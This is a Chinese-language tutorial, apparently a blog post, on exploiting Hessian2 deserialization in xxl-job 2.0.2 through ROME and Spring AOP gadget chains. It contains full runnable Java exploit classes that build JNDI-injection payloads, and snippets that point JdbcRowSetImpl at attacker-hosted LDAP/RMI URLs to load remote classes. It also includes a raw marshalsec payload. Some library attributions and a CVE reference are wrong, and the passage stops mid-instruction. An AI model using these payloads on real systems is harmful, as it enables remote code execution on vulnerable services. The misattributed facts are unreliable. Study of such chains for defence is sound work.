  • com.caucho.hessian.io.MapDeserializer#readMap(AbstractHessianInput in)
public Object readMap(AbstractHessianInput in) throws IOException {
    Map map;

    if (_type == null)
        map = new HashMap();
    else if (_type.equals(Map.class))
        map = new HashMap();
    else if (_type.equals(SortedMap.class))
        map = new TreeMap();
    else {
        try {
            map = (Map) _ctor.newInstance();
        } catch (Exception e) {
            throw new IOExceptionWrapper(e);
        }
    }

    in.addRef(map); //addRef() 方法的作用是在反序列化过程中管理对象引用,防止重复解析同一对象并处理循环引用问题。Hessian2Input 的 _refs 属性是 Hessian 协议反序列化过程中的核心引用管理机制,其核心作用是维护已反序列化对象的引用表,解决重复对象和循环引用问题。
    while (! in.isEnd()) {
        map.put(in.readObject(), in.readObject());
    }
    in.readEnd();
    return map;
}

可以看到,根据_type这个参数去选择构建哪种类型的Map类,而后通过while循环调用map.put方法将所有的key-value,传递到map中,而后返回这个创建的Map实例。如果对Commons-Collections利用链比较熟悉的话,应该会想到HashMap的利用链,在调用HashMap#put方法时,会触发HashMap#hashCode方法,并进一步调用key.hashCode()方法,由于key被设置为了TiedMapEntry的实例,因此一步一步进入Transformer调用链。而这里的map.put方法正是Hessian2的gadget起始点。

Gadget链的组成

典型的Gadget链包含以下环节:

启动点(Source):反序列化过程中自动调用的入口方法,例如:

Java中实现了Serializable接口的类,其readObject()方法在反序列化时自动触发。
其他框架(如Shiro、Jackson)的特定反序列化入口点。

传递链(Propagation):通过方法调用、反射、动态代理等方式,将控制流传递到其他类或方法。例如:

利用InvokerTransformer等类实现反射调用。
通过嵌套的类属性或集合类(如HashMap)触发链式操作。

危险方法(Sink):最终执行恶意操作的代码,例如:

Runtime.exec()执行系统命令。
通过JNDI注入加载远程类(如Log4j漏洞中的JndiLookup)
  • hessian2 的MapDeserializer 的 ((Map)map).put(in.readObject(), in.readObject()); 方法的作用是什么?

在Hessian2的反序列化流程中,MapDeserializer类的((Map)map).put(in.readObject(), in.readObject())方法的作用是将反序列化后的键值对动态存入目标Map对象中,这一操作在反序列化过程中起到了关键的数据解析和重组功能。

数据解析机制:

当Hessian2Input反序列化被标记为Map类型的自定义对象时,会进入MapDeserializer.readMap()方法。此时,in.readObject()会分别从二进制流中读取键(key)和值(value)对象,并通过put()方法将它们存入目标Map实例。这种设计使得Hessian能够支持复杂数据结构的序列化与反序列化。

漏洞触发点:

此代码段是Hessian反序列化漏洞的核心触发路径。由于put()方法会调用键对象的hashCode()方法,攻击者可以构造恶意对象(如Rome链中的EqualsBean),在hashCode()方法中触发漏洞链(例如通过ToStringBean的toString()方法调用JdbcRowSetImpl的JNDI注入逻辑)。

与原生Java反序列化的差异

Hessian特有的MapDeserializer机制不依赖Java原生序列化的readObject()方法,而是通过自定义的二进制解析逻辑实现数据重组。这种设计虽然提升了性能,但也引入了不同于原生反序列化的攻击面,导致传统的ysoserial工具链无法直接利用,需依赖marshalsec工具的特殊Gadget链。

该代码的存在使得Hessian能够高效处理Map类型数据的传输,但同时也成为安全防御需要重点关注的对象。开发者在涉及Hessian协议的网络接口时,需特别注意对反序列化数据的合法性校验。

Hessian反序列化漏洞的关键出在HessianInput#readObject,由于Hessian会将序列化的结果处理成一个Map(这里不一定,也可以是HashMap,那么开头就是H),所以序列化结果的第一个byte总为M(ASCII为77)。

下面我们跟进readObject()

HessianInput#readObject部分代码如下

...
case 77:
            type = this.readType();    # "Person"
            return this._serializerFactory.readMap(this, type);
 
...

接着会进入ObjectInputStream#readMap通过getDeserializer()来获取一个deserializer

public Object readMap(AbstractHessianInput in, String type) throws HessianProtocolException, IOException {
        Deserializer deserializer = this.getDeserializer(type);
        if (deserializer != null) {
            return deserializer.readMap(in);
        } 
...
    }

在获取到deserializer后,java会创建一个HashMap作为缓存,并将我们需要反序列化的类作为key放入HashMap中。

...
if (deserializer != null) {
                    if (this._cachedTypeDeserializerMap == null) {
                        this._cachedTypeDeserializerMap = new HashMap(8);
                    }
 
                    synchronized(this._cachedTypeDeserializerMap) {
                        this._cachedTypeDeserializerMap.put(type, deserializer);
                    }
                }
...

看到这里是不是会感到似曾相识?HashMap?key?没错,正是在这里,后续代码能够触发任意类的hashcode()方法

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

至此,我们Gadget的构造思路也就十分清晰了,只需要找一条入口为hashcode()的反序列化链即可,比如我们常的ROME链:

* TemplatesImpl.getOutputProperties()
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)

完整Payload如下:

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
 
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
 
public class Hessian_JNDI implements Serializable {
 
    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        HessianOutput output = new HessianOutput(bao);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
 
    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        HessianInput input = new HessianInput(bai);
        Object o = input.readObject();
        return (T) o;
    }
 
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
 
    public static Object getValue(Object obj, String name) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(obj);
    }
 
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "ldap://localhost:9999/EXP";
        jdbcRowSet.setDataSourceName(url);
 
 
        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
 
        //手动生成HashMap,防止提前调用hashcode()
        HashMap hashMap = makeMap(equalsBean,"1");
 
        byte[] s = serialize(hashMap);
        System.out.println(s);
        System.out.println((HashMap)deserialize(s));
    }
 
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
 
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setValue(s, "table", tbl);
        return s;
    }
}
graph TD
  A[目标服务反序列化Hessian数据] --> B[解析恶意HashMap对象]
  B --> C[触发HashMap键冲突调用equals()]
  C --> D[调用EqualsBean.equals()]
  D --> E[触发ToStringBean.toString()]
  E --> F[调用JdbcRowSetImpl.getDatabaseMetaData()]
  F --> G[发起JNDI请求加载远程恶意类]
  G --> H[远程代码执行]

在xxl-job hessian2的反序列化漏洞中是:Hessian2Input#readObject()

public class Hessian2Input extends AbstractHessianInput implements Hessian2Constants

在本案例的hessian2中,tag=72,会执行到达下面这个位置:

恶意的Bean已经写入了hashmap。

1. 反序列化入口与对象构建
当执行 Hessian2Input.readObject() 时,Hessian2协议会按顺序解析二进制流中的对象定义:

类名解析:二进制数据开头标识类名 org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor,Hessian2会尝试加载该类。
字段初始化:依次解析对象的字段值:
adviceBeanName → ldap://127.0.0.1:1389/eqeenl
beanFactory → org.springframework.jndi.support.SimpleJndiBeanFactory
jndiTemplate → org.springframework.jndi.JndiTemplate
resourceRef → true(允许解析JNDI资源引用)
shareableResources → true(共享资源)
关键触发点:DefaultBeanFactoryPointcutAdvisor 的 adviceBeanName 属性被设置为攻击者控制的LDAP URL。


2. Spring框架的JNDI注入触发
SimpleJndiBeanFactory初始化:
当Spring框架尝试从 beanFactory 获取Bean时,SimpleJndiBeanFactory 会调用 getJndiTemplate().lookup() 方法解析 adviceBeanName 中的LDAP URL。
JNDI动态类加载:
JndiTemplate 通过LDAP协议连接到攻击者控制的服务器(ldap://127.0.0.1:1389/eqeenl),获取恶意类的Reference(如指向 http://attacker.com/Exploit.class),触发目标服务器加载并实例化该类。

6.3 AbstractBeanFactoryPointcutAdvisor Gadget

关键点:

HashMap 的putVal方法调用了key.equasl()方法。

而AbstractBeanFactoryPointcutAdvisor下的实现类重写了equals方法

在getAdvice方法中调用getBean触发托管在JNDI恶意服务的代码。

截屏2025-03-02 15.14.12

this.isSingleton(name)返回true,进入doGetSingleton:

在this.looup(name,requiredType)处出发恶意代码的执行。

也可以继续步入:

构建这个jndiObject时触发恶意代码的执行。

最终this.lookup(name)时触发恶意代码的执行。

七、Hessian2反序列化漏洞gadget利用链编写

xxl-job 2.0.2 使用的Hessian2的版本是4.0.60,所以后面编写利用链的时候用的也是这个版本。

编写利用链其实首先要猜测目标服务用了什么框架,什么依赖,(比如CC、Hessian、Dubble等),这些依赖内在的合法方法可以被用来构造恶意的利用链,所有能用什么链取决于目标有什么链可用。

目前所知的可用的链有:ROME、AbstractBeanFactoryPointcutAdvisor 、xalan、

7.1 重写HashMap的put方法导致执行恶意代码的基本情形

import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.Hessian2Input;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.HashMap;

// 自定义一个HashMap,继承自java.util.HashMap,重写put方法。
public class HashMapTest {
    public static class MyHashMap<K,V> extends HashMap<K,V>{
        public V put(K key,V value){
            super.put(key, value); //调用原始HashMap的put方法
            System.out.println("父类HashMap方法的put方法调用完毕,接下来尝试执行自定义的恶意代码。");
            try{
                Runtime.getRuntime().exec("open -na Calculator");
            }catch (Exception e){
                System.out.println("运行恶意代码失败!");
            }
            System.out.println("恶意代码执行成功");
            return null;
        }
    }


    public static void main(String[] args) throws IOException {
        MyHashMap mymap = new MyHashMap();
        mymap.put("key","value");

        //hessian2的序列化
        System.out.println("==============序列化=================");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeObject(mymap);
        hessian2Output.flushBuffer();
        byte[] bytes = byteArrayOutputStream.toByteArray();
        System.out.println(new String(bytes,0,bytes.length));
        // MHashMapTest$MyHashMapkeyvalueZ

        System.out.println("==============反序列化=================");
        //hessian2的反序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        HashMap map = (HashMap)  hessian2Input.readObject(); //反序列化之后向上做类型转换
        System.out.println(map);
    }
}

执行结果:

父类HashMap方法的put方法调用完毕,接下来尝试执行自定义的恶意代码。
恶意代码执行成功
==============序列化=================
MHashMapTest$MyHashMapkeyvalueZ
==============反序列化=================
父类HashMap方法的put方法调用完毕,接下来尝试执行自定义的恶意代码。
恶意代码执行成功
{key=value}
弹出两次计算器

这里我定义了一个MyHashMap,继承自java.util.HashMap,重写put方法,put方法在执行时会执行恶意代码。第一次执行是调用mymap.put方法触发的,第二次执行是反序列化时触发的。关键的代码:第44行,调用hessian2Input.readObject()时触发了恶意代码的执行。

当然现实中不会有MyHashMap这么明显的漏洞,这意味着如果存在一个hashmap的子类型重写了put方法,并且存在执行恶意代码的可能,那么通过借助各种类和方法(也就是gadget)就能够在反序列化的时候执行恶意代码。

这样的gadget可能不尽相同。当然也不一定是put方法有恶意操作,比如hashcode方法、equals方法等存在可以操作的话,在反序列化Map对象的时候都有可能执行恶意操作。

甚至恶意数据都不一定是Map类型的,只要是其对应的类在反序列化的时候存在恶意命令执行即可。

  • 调试分析:
while(!in.isEnd()) {
       ((Map)map).put(in.readObject(), in.readObject());
}

在这个位置步入put方法时跳转到了我们重写的put方法,最终执行了恶意代码:

那么为什么会调用自定义的这个put函数呢?重新调试跟踪一下:

在创建map的时候用的是_ctor类型,也就是右下角显示的HashMapTest¥MyHashMap()类型。所以最后调用的put方法也就是自定义的put方法。

对比xxl-job案例中的_ctor类型:

这时因为之前用marshallsec生成的二进制数据是:

HC0Aorg.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor�adviceBeanNameorderpointcutbeanFactory`ldap://127.0.0.1:1389/eqeenlNC0$org.springframework.aop.TruePointcut�aC06org.springframework.jndi.support.SimpleJndiBeanFactory�resourceRefshareableResourcessingletonObjects
resourceTypesloggerjndiTemplatebTqjava.util.HashSetldap://127.0.0.1:1389/eqeenlHZHZC0'org.apache.commons.logging.impl.NoOpLog�cC0%org.springframework.jndi.JndiTemplate�loggerenvironmentdcNQ�`NNQ�NQ�Z

在匹配第一个字节H的时候

没有指定数据类型。所以后续创建的是HashMap的类型。那自然就是调用的HashMap的put方法,恶意代码之所以执行是因为put方法中又调用了DefaultBeanFactoryPointcutAdvisor的equals方法,在equals方法中通过AOP 动态代理请求恶意JNDI对象才触发的恶意代码执行。

而在这个例子中匹配的M(77)指定了类型。

与此不同的是,之前分析的xxl-job 的 AbstractBeanFactoryPointcutAdvisor 链,是equals方法导致的恶意代码执行。

7.2 ROME链✅

注意,我们的目标xxl-job 2.0.2 中不一定有rome的依赖,但是我们可以尝试一下这个链条的可利用性:

开始之前先介绍一下JdbcRowSetImpl 的作用:

7.2.1 JdbcRowSetImpl

这行代码 JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl(); 的作用是 创建一个 JdbcRowSetImpl 的实例对象,其核心目的是通过 Java 的 RowSet 接口操作数据库。以下是详细解析:

1、JdbcRowSetImpl 的作用

JdbcRowSetImpljavax.sql.rowset.JdbcRowSet 接口的默认实现类,封装了 JDBC 数据库连接和操作的功能,包括:

  • 设置数据库连接参数(URL、用户名、密码);
  • 执行 SQL 查询/更新;
  • 以表格形式处理结果集(类似 ResultSet)。

2、常见用途

>JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
>rowSet.setUrl("jdbc:mysql://localhost:3306/mydb");
>rowSet.setUsername("root");
>rowSet.setPassword("123456");
>rowSet.setCommand("SELECT * FROM users");
>rowSet.execute(); // 执行查询

通过上述代码可以完成数据库查询操作。

3、安全问题(重点)

JdbcRowSetImpl 因其支持 JNDI 自动解析的特性,成为反序列化漏洞的高危利用类。攻击者可构造恶意代码触发 JNDI 注入,例如:

>JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
>rowSet.setDataSourceName("ldap://attacker.com/Exploit"); // 恶意 JNDI 地址
>rowSet.setAutoCommit(true); // 触发连接,加载远程恶意类
  • 漏洞原理:当反序列化包含此类对象的恶意数据时,JdbcRowSetImpl 会自动尝试连接 dataSourceName 指定的 JNDI 服务,导致远程代码执行(RCE)。
  • 历史事件:此类漏洞曾出现在 Hessian、Fastjson 等反序列化框架中(如 CVE-2022-42889)。

4、使用建议

  1. 避免直接使用 JdbcRowSetImpl
    在业务代码中优先使用标准接口(如 Connection + Statement),而非 RowSet 的具体实现类。
  2. 防御反序列化攻击
  • 对反序列化数据来源进行严格校验;
  • 升级 JDK 版本(≥8u191/11.0.1),默认禁用 JNDI 远程加载;
  • 使用安全组件(如 Apache Shiro 的 SerializationValidator)。
  1. 代码审计关键点
    在安全审计中,需重点检查是否存在 JdbcRowSetImpl 的实例化操作,尤其是 setDataSourceName() 的参数是否可控。(通常是通过反序列化控制)

5、示例漏洞场景(Hessian 反序列化)

>// 攻击者构造的恶意序列化数据
>JdbcRowSetImpl payload = new JdbcRowSetImpl();
>payload.setDataSourceName("rmi://attacker:1099/Exploit");
>payload.setAutoCommit(true); // 触发漏洞

>// 序列化并传输到目标服务
>HessianOutput out = new HessianOutput(bao);
>out.writeObject(payload); // 发送恶意对象

目标服务反序列化时会触发 JNDI 注入,加载远程恶意类。

总结

这行代码的直接功能是创建数据库操作对象,但其安全风险远大于实际用途。在开发和安全防护中需严格管控此类高危类的使用。

7.2.2 ToStringBean

ToStringBean

ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);

1、ToStringBean:来自Rome工具包(Apache Commons Collections的子项目),用于生成对象的字符串表示(toString()方法)。在生成字符串时,它会递归调用目标对象的所有公共方法(包括getter方法)以获取属性值。

  • 参数说明:
    • JdbcRowSetImpl.class:指定目标类的类型(com.sun.rowset.JdbcRowSetImpl)。
    • jdbcRowSet:一个预先构造的JdbcRowSetImpl对象,通常包含恶意配置的dataSourceName(如LDAP/RMI服务地址)。

2、安全漏洞触发逻辑

  • 关键点:当ToStringBeantoString()方法被调用时,会触发传入对象(jdbcRowSet)的getter方法以获取属性值。

JdbcRowSetImpl的漏洞方法:JdbcRowSetImpl的某些getter方法(如getDatabaseMetaData())会调用connect()方法,而connect()内部通过InitialContext.lookup()实现JNDI查找。若dataSourceName被设置为恶意LDAP/RMI地址,可触发远程代码执行(RCE)。

利用链示例

ToStringBean.toString() 
  → JdbcRowSetImpl.getDatabaseMetaData() 
  → JdbcRowSetImpl.connect() 
  → InitialContext.lookup(dataSourceName) 
  → 触发JNDI注入攻击

3、实际攻击场景

反序列化入口:当ToStringBean对象被反序列化(例如通过ObjectInputStream.readObject()),其toString()方法可能被隐式调用(如某些类的equals()或hashCode()方法触发字符串比较)。

结合Fastjson等组件:在Fastjson反序列化中,若攻击者通过@type指定ToStringBean类,并注入恶意JdbcRowSetImpl对象,可在反序列化时触发漏洞。

4、防御与限制

JDK版本限制:JNDI注入在JDK高版本(如≥8u191)默认禁用远程类加载。

Fastjson修复:1.2.25版本后默认关闭autoType功能,并引入黑名单机制限制高危类(如JdbcRowSetImpl)的反序列化。

总结

这行代码通过将JdbcRowSetImpl对象封装到ToStringBean中,利用其toString()方法触发JNDI注入漏洞,是反序列化攻击链的典型构造方式。此类攻击依赖目标环境中存在未修复的Fastjson版本或允许JNDI远程加载的JDK配配置。

7.2.3 EqualsBean

EqualsBean

EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

1、EqualsBean

  • **EqualsBean**:来自 Apache Commons BeanUtils 库,用于比较两个对象的属性是否相等。其 equals() 方法会递归调用对象属性的 hashCode()toString() 方法。

参数说明

  • **ToStringBean.class**:指定 EqualsBean 的类型约束(用于后续反射调用验证)。
  • **toStringBean**:传入的 ToStringBean 实例(通常封装了恶意对象如 JdbcRowSetImpl

2、攻击链触发逻辑

  • 反序列化入口

EqualsBean 对象被反序列化时(例如通过 ObjectInputStream.readObject()),某些场景(如 HashMapput()get() 方法)会隐式调用其 hashCode()equals() 方法。

  • 触发 ToStringBean.toString()

EqualsBeanhashCode() 方法会调用其持有对象(即 toStringBean)的 toString() 方法:

public int hashCode() {
    return this.bean.toString().hashCode(); // 触发恶意对象的 toString()
}

3、执行恶意代码

ToStringBeantoString() 方法会递归调用目标对象(如 JdbcRowSetImpl)的所有 getter 方法

  • 若目标对象的某个 getter(如 getDatabaseMetaData())触发了 JNDI 查找(如 InitialContext.lookup(恶意URL)),会导致 远程代码执行(RCE)

4、完整攻击链示例

反序列化 EqualsBean → 调用 hashCode() → 触发 ToStringBean.toString() 
 → 调用 JdbcRowSetImpl.getDatabaseMetaData() → 触发 JdbcRowSetImpl.connect() 
 → InitialContext.lookup(ldap://attacker.com/Exploit) → 加载远程恶意类

5、防御与缓解

  • 升级依赖库:使用最新版本的 Apache Commons BeanUtils(修复高危漏洞版本)。
  • 禁用危险类:在反序列化过滤器中禁止 EqualsBeanToStringBean 类。
  • 配置 JVM 参数:添加 -Dcom.sun.jndi.ldap.object.trustURLCodebase=false 禁用远程类加载。
  • 代码审计重点:检查反序列化操作中是否存在对 EqualsBeanToStringBean 的直接使用。

总结

这行代码通过 EqualsBeanToStringBean 的链式调用,将反序列化操作与 JNDI 注入漏洞连接起来,是攻击者构造 RCE 的典型手段。理解其原理有助于在代码审计和渗透测试中快速识别此类风险。

7.2.4 makeMap

HashMap hashMap = makeMap(equalsBean, "1"); 是反序列化攻击链的关键构造步骤,其核心目的是 通过构造一个特殊的 HashMap 对象,触发 equalsBeanhashCode() 方法,从而激活后续的漏洞利用链

1)setValue方法

public static void setValue(Object obj,String name,Object value) throws Exception {
    Field field =  obj.getClass().getDeclaredField(name);//通过反射获得obj中的name字对象
    field.setAccessible(true); //2. 解除访问限制
    field.set(obj,value); //3. 设置字段值
}

这段代码通过 Java反射机制 动态设置对象的字段值,主要用于绕过访问修饰符(如private)直接修改目标对象的属性。以下是逐行解析:

Field field = obj.getClass().getDeclaredField(name)

功能:通过反射获取目标对象obj中名为name的字段(Field)。

关键点

  • getDeclaredField()可获取所有声明的字段(包括privateprotectedpublic),而getField()仅返回公共字段。
  • 若字段不存在,抛出NoSuchFieldException
field.setAccessible(true)
  • 功能:解除Java的访问控制检查(Accessible Check),允许操作私有字段。
  • 安全风险:
    • 绕过封装性(Encapsulation),可能破坏对象内部状态。
    • 在启用安全管理器(SecurityManager)时,此操作可能被拒绝并抛出SecurityException
field.set(obj, value)
  • 功能:将value赋值给obj对象的该字段。
  • 限制:
    • 若字段为final,直接修改可能失败(需通过反射修改modifiers字段)。
    • 类型不匹配会抛出IllegalArgumentException

2)getValue方法

//通过反射获取对象的属性值
  public static Object getValue(Object obj,String name) throws Exception {
      Field field = obj.getClass().getDeclaredField(name);
      field.setAccessible(true);
      return field.get(obj);
  }

3)makeMap方法

Class node;
        try{
            node = Class.forName("java.util.HashMap$Node");
        }catch (ClassNotFoundException e){
            node = Class.forName("java.util.HashMap$Entry");
}
这段代码的作用是动态获取 Java HashMap 内部存储键值对的节点类(Node 或 Entry),目的是为了兼容不同 JDK 版本中 HashMap 的实现差异。
JDK 8+:HashMap 内部使用 Node 类 存储键值对。当链表长度超过阈值(默认8)时,链表会转换为 TreeNode(红黑树结构)。
JDK 7及之前:使用 Entry 类实现链表结构,无树化优化。

完整代码:

public static HashMap makeMap(Object v1,Object v2) throws Exception {
    HashMap hashMap =new HashMap<>();//new HashMap<>():实例化一个空的哈希映射(Java 7+支持的类型推断,等价于new HashMap<Object, Object>())。
    setValue(hashMap,"size",2); //通过反射设置hashMap的size属性值
    /*
    下面这段代码的作用是动态获取 Java HashMap 内部存储键值对的节点类(Node 或 Entry),目的是为了兼容不同 JDK 版本中 HashMap 的实现差异。
     */
    Class node;
    try{
        node = Class.forName("java.util.HashMap$Node");
    }catch (ClassNotFoundException e){
        node = Class.forName("java.util.HashMap$Entry");
    }
    Constructor nodeConstructor = node.getDeclaredConstructor(int.class,Object.class,Object.class,node);//Node的构造方法
    nodeConstructor.setAccessible(true);
    Object tbl = Array.newInstance(node,2);
    Array.set(tbl,0,nodeConstructor.newInstance(0,v1,v1,null));
    Array.set(tbl,1,nodeConstructor.newInstance(0,v2,v2,null));
    setValue(hashMap,"table",tbl);
    return hashMap;
}

解析:

1、获取hashmap存储节点的类

Class node;
        try{
            node = Class.forName("java.util.HashMap$Node");
        }catch (ClassNotFoundException e){
            node = Class.forName("java.util.HashMap$Entry");
}

这段代码的作用是动态获取 Java HashMap 内部存储键值对的节点类(Node 或 Entry),目的是为了兼容不同 JDK 版本中 HashMap 的实现差异。

JDK 8+:HashMap 内部使用 Node 类 存储键值对。当链表长度超过阈值(默认8)时,链表会转换为 TreeNode(红黑树结构)。

JDK 7及之前:使用 Entry 类实现链表结构,无树化优化。

2、反射获取节点构造方法

Constructor nodeConstructor = node.getDeclaredConstructor(int.class,Object.class,Object.class,node);//Node的构造方法
nodeConstructor.setAccessible(true);

参数解析:节点类的构造方法参数通常为:

  • int hash:键的哈希值;
  • Object key:键对象;
  • Object value:值对象;
  • Node next:链表下一个节点(用于处理哈希冲突)。

绕过访问控制setAccessible(true) 允许操作私有构造方法。

3、构造恶意哈希桶数组

Object tbl = Array.newInstance(node, 2); // 创建长度为2的节点数组
Array.set(tbl, 0, nodeConstructor.newInstance(0, v1, v1, null)); // 索引0插入节点(键值均为v1)
Array.set(tbl, 1, nodeConstructor.newInstance(0, v2, v2, null)); // 索引1插入节点(键值均为v2)

这段代码通过 反射机制 动态构造 HashMap 的内部存储结构(哈希桶数组),用于在反序列化攻击中 强制触发哈希碰撞或特定方法调用,从而执行恶意代码。以下是详细解析:

参数设计

  • 哈希值固定为0:强制所有键值对落在同一个哈希桶(i = (n-1) & hash,当 n=2 时索引为0或1);
  • 键值相同v1v2 可能是精心构造的恶意对象(如 JdbcRowSetImpl 或动态代理对象)。

4、替换目标 HashMap 的内部存储

setValue(hashMap, "table", tbl); // 反射修改 HashMap 的 table 字段
return hashMap;

table 字段HashMap 存储所有键值对的内部数组,修改此字段可直接控制其数据结构。

总结

这段代码通过反射直接篡改 HashMap 的内部存储,构造了一个包含恶意键值对的哈希表,用于触发反序列化漏洞。理解其原理有助于识别和防御此类攻击模式。

攻击链触发逻辑

  1. 反序列化入口
    当恶意构造的 HashMap 被反序列化时(如通过 ObjectInputStream.readObject()),其 readObject() 方法会重建哈希表结构。
  2. 哈希冲突触发方法调用
  • v1v2 是动态代理对象(如 AnnotationInvocationHandler),在计算哈希或比较键时会触发 invoke() 方法。
  • v1JdbcRowSetImpl 对象,调用其 hashCode() 会触发 JNDI 注入(如 connect()lookup())。

3.典型攻击场景

结合 RomeCommonsBeanutils 等库的漏洞链,触发以下调用链:

HashMap.readObject() → 计算键哈希 → 恶意对象.hashCode() 
  → ToStringBean.toString() → JdbcRowSetImpl.getDatabaseMetaData() 
  → JNDI注入 → 远程代码执行(RCE)

7.2.5 完整的代码

/*
* author:sixiaokai
* */
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.Hessian2Input;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.util.*;



public class MyRome {
    // 序列化
    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); //定义字节输出流
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); //定义Hessian输出流,将序列化后的内容放到字节输出流
        hessian2Output.writeObject(o);
        hessian2Output.flushBuffer();
        byte[] bytes = byteArrayOutputStream.toByteArray();
        System.out.println("序列化的对象:"+o.toString()+","+"序列化后的值:"+new String(bytes,0,bytes.length));
        return bytes;
    }

    // 反序列化
    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream byteArrayInputStream =new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        Object o =hessian2Input.readObject();
        System.out.println("反序列化之前的值:"+new String(bytes,0,bytes.length)+","+"序列化之后的值:"+o.toString());
        return (T)o;
    }

    // 通过反射设置对象的属性值
    public static void setValue(Object obj,String name,Object value) throws Exception {
        Field field =  obj.getClass().getDeclaredField(name);//通过反射获得obj中的name字段
        field.setAccessible(true);
        field.set(obj,value);
    }

    // 通过反射获取对象的属性值
    public static Object getValue(Object obj,String name) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(obj);
    }

    // 构造哈希冲突的hashmap
    public static HashMap makeMap(Object v1,Object v2) throws Exception {
        HashMap hashMap =new HashMap<>();//new HashMap<>():实例化一个空的哈希映射(Java 7+支持的类型推断,等价于new HashMap<Object, Object>())。
        setValue(hashMap,"size",2); //通过反射设置hashMap的size属性值
        /*
        下面这段代码的作用是动态获取 Java HashMap 内部存储键值对的节点类(Node 或 Entry),目的是为了兼容不同 JDK 版本中 HashMap 的实现差异。
         */
        Class node;
        try{
            node = Class.forName("java.util.HashMap$Node");
        }catch (ClassNotFoundException e){
            node = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeConstructor = node.getDeclaredConstructor(int.class,Object.class,Object.class,node);//Node的构造方法
        nodeConstructor.setAccessible(true);
        Object tbl = Array.newInstance(node,2);
        Array.set(tbl,0,nodeConstructor.newInstance(0,v1,v1,null));
        Array.set(tbl,1,nodeConstructor.newInstance(0,v2,v2,null));
        setValue(hashMap,"table",tbl);
        return hashMap;
    }

    public static void main(String[] args) throws Exception {
        // 构造包含恶意连接的JdbcRowSetImpl对象
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String jndiUrl = "ldap://127.0.0.1:1389/juztn6"; //托管恶意类的JNDI服务地址
        jdbcRowSet.setDataSourceName(jndiUrl);

        // ToStringBean 和 EqualsBean
        ToStringBean jdbcRowSetBeanString = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
        EqualsBean jdbcRowSetEqualsBean = new EqualsBean(ToStringBean.class,jdbcRowSetBeanString);

        // 构造哈希冲突的hashmap
        HashMap hashMap = makeMap(jdbcRowSetEqualsBean,"1");

        //序列化
        byte[] s = serialize(hashMap);
        System.out.println("序列化之后的值:"+s);

        //反序列化
        System.out.println("反序列化后的值"+(HashMap) deserialize(s));
    }
}

执行代码:

报错:

SLF4J: Failed to load class “org.slf4j.impl.StaticLoggerBinder”.

SLF4J: Defaulting to no-operation (NOP) logger implementation

SLF4J: See http://www.slf4j.org/codes.html#StaticLoggerBinder for further details.

添加依赖即可:

